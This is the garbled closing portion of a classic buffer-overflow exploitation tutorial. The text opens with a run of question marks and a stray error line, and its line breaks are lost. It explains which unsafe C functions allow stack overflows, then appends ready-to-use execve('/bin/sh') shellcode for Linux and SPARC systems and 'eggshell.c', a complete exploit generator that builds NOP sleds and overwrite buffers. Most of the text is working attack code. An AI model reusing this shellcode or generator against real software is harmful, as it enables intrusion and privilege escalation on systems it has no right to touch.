????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????Warning: some arguments in previous message were lost$------------------------------------------------------------------------------On the first try! It has certainly increased our odds. Depending howmuch environment data the exploit program has compared with the programyou are trying to exploit the guessed address may be to low or to high.Experiment both with positive and negative offsets.Finding Buffer Overflows~~~~~~~~~~~~~~~~~~~~~~~~As stated earlier, buffer overflows are the result of stuffing moreinformation into a buffer than it is meant to hold. Since C does not have anybuilt-in bounds checking, overflows often manifest themselves as writing pastthe end of a character array. The standard C library provides a number offunctions for copying or appending strings, that perform no boundary checking.They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functionsoperate on null-terminated strings, and do not check for overflow of thereceiving string. gets() is a function that reads a line from stdin intoa buffer until either a terminating newline or EOF. It performs no checks forbuffer overflows. The scanf() family of functions can also be a problem ifyou are matching a sequence of non-white-space characters (%s), or matching anon-empty sequence of characters from a specified set (%[]), and the arraypointed to by the char pointer, is not large enough to accept the wholesequence of characters, and you have not defined the optional maximum fieldwidth. If the target of any of these functions is a buffer of static size,and its other argument was somehow derived from user input there is a goodposibility that you might be able to exploit a buffer overflow.Another usual programming construct we find is the use of a while loop toread one character at a time into a buffer from stdin or some file until theend of line, end of file, or some other delimiter is reached. This type ofconstruct usually uses one of these functions: getc(), fgetc(), or getchar().If there is no explicit checks for overflows in the while loop, such programsare easily exploited.To conclude, grep(1) is your friend. The sources for free operatingsystems and their utilities is readily available. This fact becomes quiteinteresting once you realize that many comercial operating systems utilitieswhere derived from the same sources as the free ones. Use the source d00d.Appendix A - Shellcode for Different Operating Systems/Architectures~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~i386/Linux------------------------------------------------------------------------------jmp 0x1fpopl %esimovl %esi,0x8(%esi)xorl %eax,%eaxmovb %eax,0x7(%esi)movl %eax,0xc(%esi)movb $0xb,%almovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xc(%esi),%edxint $0x80xorl %ebx,%ebxmovl %ebx,%eaxinc %eaxint $0x80call -0x24.string \"/bin/sh\"------------------------------------------------------------------------------SPARC/Solaris------------------------------------------------------------------------------sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, [%sp - 16]st %sp, [%sp - 8]st %g0, [%sp - 4]mov 0x3b, %g1ta 8xor %o7, %o7, %o0mov 1, %g1ta 8------------------------------------------------------------------------------SPARC/SunOS------------------------------------------------------------------------------sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, [%sp - 16]st %sp, [%sp - 8]st %g0, [%sp - 4]mov 0x3b, %g1mov -0x1, %l5ta %l5 + 1xor %o7, %o7, %o0mov 1, %g1ta %l5 + 1------------------------------------------------------------------------------Appendix B - Generic Buffer Overflow Program~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~shellcode.h------------------------------------------------------------------------------#if defined(__i386__) && defined(__linux__)#define NOP_SIZE 1char nop[] = "\x90";char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)#define NOP_SIZE 4char nop[]="\xac\x15\xa1\x6e";char shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e""\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0""\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08""\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";unsigned long get_sp(void) {__asm__("or %sp, %sp, %i0");}#elif defined(__sparc__) && defined(__sun__)#define NOP_SIZE 4char nop[]="\xac\x15\xa1\x6e";char shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e""\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0""\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff""\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";unsigned long get_sp(void) {__asm__("or %sp, %sp, %i0");}#endif------------------------------------------------------------------------------eggshell.c------------------------------------------------------------------------------/** eggshell v1.0** Aleph One / aleph1@underground.org*/#include #include #include "shellcode.h"#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048void usage(void);void main(int argc, char *argv[]) {char *ptr, *bof, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)switch (c) {case ‘a‘:align = atoi(optarg);break;case ‘b‘:bsize = atoi(optarg);break;case ‘e‘:eggsize = atoi(optarg);break;case ‘o‘:offset = atoi(optarg);break;case ‘?‘:usage();exit(0);}if (strlen(shellcode) > eggsize) {printf("Shellcode is larger the the egg.\n");exit(0);}if (!(bof = malloc(bsize))) {printf("Can‘t allocate memory.\n");exit(0);}if (!(egg = malloc(eggsize))) {printf("Can‘t allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",bsize, eggsize, align);printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);addr_ptr = (long *) bof;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr = egg;for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)for (n = 0; n < NOP_SIZE; n++) {m = (n + align) % NOP_SIZE;*(ptr++) = nop[m];}for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];bof[bsize - 1] = ‘\0‘;egg[eggsize - 1] = ‘\0‘;memcpy(egg,"EGG=",4);putenv(egg);memcpy(bof,"BOF=",4);putenv(bof);system("/bin/sh");}void usage(void) {(void)fprintf(stderr,"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");}------------------------------------------------------------------------------